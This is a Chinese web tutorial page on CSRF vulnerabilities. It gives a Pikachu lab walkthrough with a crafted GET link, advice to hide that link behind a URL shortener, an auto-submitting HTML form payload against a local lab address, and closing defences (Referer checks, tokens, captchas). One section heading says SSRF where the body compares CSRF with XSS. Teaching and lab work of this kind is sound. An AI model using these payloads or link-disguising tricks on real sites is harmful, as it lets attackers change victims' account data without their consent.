您当前的位置:首页 > 计算机 > 安全防护

分享CSRF漏洞详解

时间:10-11来源:作者:点击数:

CSRF漏洞介绍

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个用户曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了Web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

通俗的讲就是:如果网站过滤不严格,攻击者可以欺骗浏览器登录登录别的网站。

攻击流程图:

  1. 正常用户登录了一个网站,网站A会返回一个cookie存储在用户A的浏览器上
  2. 用户又访问量恶意网站B,返回了一串恶意攻击代码
  3. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF与SSRF区别

  • CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。
  • XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。

如何判断是否存在CSRF?

对一些增删改查,购买之类的操作,抓包看看逻辑,是否可以或者不需要验证用户身份

比如:

  • 修改密码,不需要验证旧密码
  • 增删改查不需要验证Cookie
  • 虽然退出或关闭了览器,但Cookie仍然有效,或者Session没有及时过期

Pikachu靶场实验

CSRF(Get型)

抓包修改个人信息

发现修改的信息都在URL的参数里面,其中并不需要进行身份验证

我们可以构造一个恶意的URL链接:

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=666&email=hacker@qq.com&submit=submit

当然这样太明显了,我们可以把它写成一个短链接,也能触发。

http://g0p.cc/6n6jtL

短链接生成平台

https://tool.chinaz.com/tools/dwz.aspx
CSRF(POST型)

抓取修改信息的数据包

参数的提交采用POST类型,就无法构造url了,我们可以制作一个站点,诱惑目标点击,进而发送数据包。

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

把下面的链接发给用户

http://you-ip/post.html

用户只要点击进入页面就会触发提交数据包发送请求,直接修改用户的信息。

CSRF防御

验证HTTP Referer字段:

Referer字段存在于 HTTP请求头中,它记录了该 HTTP请求的来源地址。正常情况下请求的 Referer 值是请求发出所在页面的URL,当检测到 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。这是一种同源策略。

例如黑客要对银行网站实施 CSRF 攻击,他只能在他自己的服务器构造请求,当用户点击黑客的链接发送请求到银行时,该请求的 Referer 是指向黑客自己的网站,就会拒绝该请求。

添加Token,并验证:

Token介绍:

  • token是服务端生成的一串随机数,作为客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token并返回给客户端。

Token验证:

  • 在 HTTP请求中以參数的形式添加一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,假设请求中没有token 或者 token 内容不对,则可能是 CSRF 攻击而拒绝该请求。
关键请求添加验证码:

当进行一些敏感操作时,如修改密码、添加管理员等操作,可以通过增加网站的验证手段,例如增加图形验证码或短信验证码等,只有通过验证的请求才算合法。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门